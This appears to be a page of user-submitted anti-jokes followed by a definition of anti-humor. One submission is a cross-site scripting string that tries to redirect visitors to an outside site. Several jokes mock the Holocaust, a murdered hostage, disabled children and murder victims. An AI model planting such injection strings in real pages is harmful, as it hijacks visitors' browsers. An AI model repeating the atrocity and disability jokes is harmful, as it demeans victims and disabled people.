What does Michael have in common with NASA? Not a lot.

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Why was Chris crying? There was a robbery at his house and both of his parents were brutally murdered.

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What do you call a boomerang that doesn't come back? A stick

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How do you tell if a politician is lying? You make him take a polygraph test.

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Q: Why do blondes wear hoop earrings? A: Those that wear them think that said earrings positively accentuate their physical appearance.

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So a man and his wife were in a horrible car accident. The man died, so why isn't the wife mourning his death? Because she is also dead. But, do you know who did mourn and cry over this horrible tragedy? Their children, other family members, and friends.

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Roses are Red Violets are blue This joke isn't funny And neither are you!

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How are baseball and the holocaust similar? They're both games, except for the holocaust

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Who lived in a pineapple under the sea?

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what do you call a kid with no legs and no arms some one who will nevaer forfill there bucket list cause they cant write it

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AND

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If John has 10 packs of beer and he drinks 8 packs,what is John left with? Morbid Obesity.

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Which deranged adventurer thinks that (one`s unprotected cranium) is stronger than (a brick structure) Mario. he keeps bashing his head on blocks in attempts to prove his own worth

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"'>document.location.href="http://cramik.org"

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L.A Clippers 2000-2012 season!!!!

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Q. What do you call a guy with no arms and no legs in front of a door? A. Matt

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A student goes up to the teacher because he has to go to the washroom. The teacher tells him that he has to sing the ABC's before he can go. So the boy sings, "ABCDEFGHIJKLMNOPQRSTUVWXYZ." The teacher said he did a perfect job and could go to the washroom. The boy went on to become a billionaire. Congrats!

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What's green and has wheels? grass... i lied about the wheels

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Knock Knock Who's There Carly Carly Who Hey I just met you, and this is crazy So here's my number and call me maybe

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Q: what did the old man do to the little boy in his dark cellar while babysitting on a stormy night? A: told him to hold a flashlight because the power went out and he needed to find his electric generator.

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What's the difference between a police officer and a green dinosaur? They both aren't cabbages.

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What did the kid say to the ice-cream Man Can I have a duck please

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what lies in ore an develops a golden tan ken bigleys body

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Timmy's mom is an alcoholic. His dog is asleep in the backyard. Timmy asks his mother, "Why is our dog sleeping?" His mother replies, "It's not sleeping, its dead."

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Anti Joke

What are Antijokes? Anti Jokes (or Anti Humor) is a type of comedy in which the uses is set up to expect a typical joke setup however the joke ends with such anticlimax that it becomes funny in its own right. The lack of punchline is the punchline.

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